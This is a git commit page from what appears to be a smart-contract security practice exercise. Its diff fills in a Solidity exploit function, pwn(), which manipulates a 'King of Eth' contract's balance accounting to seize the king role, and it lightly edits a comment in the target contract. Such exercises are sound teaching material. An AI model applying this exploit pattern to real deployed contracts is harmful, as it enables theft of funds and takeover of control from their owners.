feat: update contract comments

ialmanzaj · Oct 16, 2023 · fe74dc2 · fe74dc2
1 parent dc875b1
commit fe74dc2
Show file tree

Hide file tree

Showing 2 changed files with 5 additions and 3 deletions.
diff --git a/src/kingofeth/Exploit.sol b/src/kingofeth/Exploit.sol
@@ -13,9 +13,11 @@ contract KingOfEthExploit {
     }
 
     function pwn() external payable {
-        // write your code here
+        // King contract balance
         uint256 balance = address(target).balance;
-        address(target).call{value: balance}("");
+        // get balance from king contract
+        (bool sent,) = address(target).call{value: balance}("");
+        require(sent, "cant get eth from contract");
         target.play{value: balance + 1 ether}();
     }
 }
diff --git a/src/kingofeth/KingOfEth.sol b/src/kingofeth/KingOfEth.sol
@@ -5,7 +5,7 @@ contract KingOfEth {
     address payable public king;
 
     function play() external payable {
-        // previous balance = current balance - ETH sent
+        // previous balance = current_balance - ETH sent
         uint256 bal = address(this).balance - msg.value;
         require(msg.value > bal, "need to pay more to become the king");